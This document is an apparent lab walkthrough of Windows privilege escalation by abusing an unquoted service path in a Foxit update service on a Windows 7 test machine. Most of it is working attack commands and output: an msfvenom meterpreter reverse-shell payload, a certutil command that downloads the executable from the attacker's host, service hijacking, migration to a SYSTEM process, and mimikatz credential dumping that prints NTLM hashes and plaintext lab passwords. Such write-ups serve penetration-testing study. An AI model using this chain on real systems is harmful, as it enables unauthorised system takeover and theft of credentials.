

Privilege escalation via unquoted service path

Manually

Running `invoke-allchecks` via `powerup`, I know that `FoxitCloudUpdateService` is vulnerable to unquoted service path vulnerability.

<https://steflan-security.com/windows-privilege-escalation-unquoted-service-paths/>

```
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!

[*] Checking for unquoted service paths...

ServiceName      : FoxitCloudUpdateService
Path              : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath   : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\;
IdentityReference=NT AUTHORITY\Authenticated Users}
StartName        : LocalSystem
AbuseFunction     : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart       : True

ServiceName      : FoxitCloudUpdateService
Path              : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath   : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT
AUTHORITY\Authenticated Users}
StartName        : LocalSystem
AbuseFunction     : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart       : True

ServiceName      : FoxitCloudUpdateService
Path              : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath   : @{Permissions=GenericAll; ModifiablePath=C:\;
IdentityReference=BUILTIN\Administrators}
StartName        : LocalSystem
AbuseFunction     : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
CanRestart       : True

ServiceName      : FoxitCloudUpdateService
Path              : C:\Program Files\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe
ModifiablePath   : @{Permissions=System.Object[]; ModifiablePath=C:\;
IdentityReference=BUILTIN\Administrators}
StartName        : LocalSystem
AbuseFunction     : Write-ServiceBinary -Name 'FoxitCloudUpdateService' -Path <HijackPath>
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```

I check the access permissions, it seems to me that the foxit software directory has `modify` privileges for users. It means that ordinary users are able to `create, write and delete file` on the said directory.

```
icacls 'foxit software'
foxit software BUILTIN\Users:(OI)(CI)(M)
               NT SERVICE\TrustedInstaller:(I)(F)
               NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
               BUILTIN\Users:(I)(RX)
               BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
               CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\program files>
```

Here is the permissions list for ACLS.

<https://ss64.com/nt/icacls.html>

```
permission is a permission mask and can be specified in one of two forms:
  a sequence of simple rights:
    D - Delete access
    F - Full access (Edit_Permissions+Create+Delete+Read+Write)
    N - No access
    M - Modify access (Create+Delete+Read+Write)
    RX - Read and eXecute access
    R - Read-only access
    W - Write-only access
  a comma-separated list in parentheses of specific rights:
    DE - Delete
    RC - read control
    WDAC - write DAC
    WO - write owner
    S - synchronize
    AS - access system security
    MA - maximum allowed
    GR - generic read
    GW - generic write
    GE - generic execute
    GA - generic all
    RD - read data/list directory
    WD - write data/add file
    AD - append data/add subdirectory
    REA - read extended attributes
    WEA - write extended attributes
    X - execute/traverse
    DC - delete child
    RA - read attributes
    WA - write attributes
  inheritance rights can precede either form and are applied
  only to directories:
    (OI) - object inherit
    (CI) - container inherit
    (IO) - inherit only
    (NP) - don't propagate inherit
    (I) - Permission inherited from parent container
```

I created a payload that will automatically migrate to spoolsv.exe, however it fails for unknown reason. So I will need to migrate to other NT AUTHORITY\SYSTEM process manually.

```
[user@parrot]~[/Desktop]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.128 LPORT=21
prependmigrateprocess=spoolsv.exe prependmigrate=true -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 630 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
[user@parrot]~[/Desktop]
└─$
```

I downloaded the root.exe file to the foxit directory on C:\Program Files\Foxit Software\.

```
PS > cmd.exe /c "certutil.exe -urlcache -f http://192.168.234.128/root.exe root.exe"
**** Online ****
CertUtil: -URLCache command completed successfully.
```

Then I renamed the file to foxit.exe.

```
C:\Program Files\Foxit Software>dir
dir
Volume in drive C is Windows 7
```

```

Volume Serial Number is D055-099C

Directory of C:\Program Files\Foxit Software

10/22/2021  06:41 AM    <DIR>          .
10/22/2021  06:41 AM    <DIR>          ..
10/22/2021  03:21 AM    <DIR>          Foxit Reader
10/22/2021  06:22 AM             73,802 Foxit.exe
               1 File(s)             73,802 bytes
               3 Dir(s)  28,177,637,376 bytes free

C:\Program Files\Foxit Software>

```

I stop the foxit update service.

```
C:\Program Files\Foxit Software>sc stop FoxitCloudUpdateService
```

And I start the foxit update service.

```

C:\Program Files\Foxit Software>sc start FoxitCloudUpdateService
sc start FoxitCloudUpdateService
[SC] StartService FAILED 1053:

```

The service did not respond to the start or control request in a timely fashion.

```
C:\Program Files\Foxit Software>
```

Observe that I now have a shell.

```

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.234.128:21
[*] Sending stage (175174 bytes) to 192.168.234.132
[*] Meterpreter session 5 opened (192.168.234.128:21 -> 192.168.234.132:49178) at 2021-10-22
21:45:54 +0800

meterpreter > ps

```

I will have to migrate this service to **conhost.exe** running as **nt authority\system**.

```

4908  340  conhost.exe      x86  0      NT AUTHORITY\SYSTEM
C:\Windows\system32\conhost.exe

```

Observe the completed migration.

```

meterpreter > migrate 4908
[*] Migrating from 3348 to 4908...
[*] Migration completed successfully.
meterpreter >

```

So even if the service fails to start, my meterpreter session will still be intact.

```

C:\Program Files\Foxit Software>sc start FoxitCloudUpdateService
sc start FoxitCloudUpdateService
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

C:\Program Files\Foxit Software>

```

Post exploitation

```
Note the plaintext creds gathered as well as the ntlm hashes
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com **/
```

Success.

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
```

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Username	Domain	NTLM	SHA1
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Administrator	IE8WIN7	8fd5d202cb67fb13f2ad846e67fbaca7d0e111abd6ac40ad2ae055cfd3c0c4ce88cca2a4	
Escalate	IE8WIN7	9be760e8dbbe3be65210225ac1570c9f357434484751ba5ebe0efe7f1bfd26d693185794	
low_priv	IE8WIN7	2259bad7b189e18faaed05671cf7233099ea225fe3b7f653345c0cb930c36768b312672e	

wdigest credentials

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Username	Domain	Password
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(null)	(null)	(null)
Administrator	IE8WIN7	Esc@l@te
Escalate	IE8WIN7	Windows
IE8WIN7\$	WORKGROUP	(null)
low_priv	IE8WIN7	s3rvice@ccount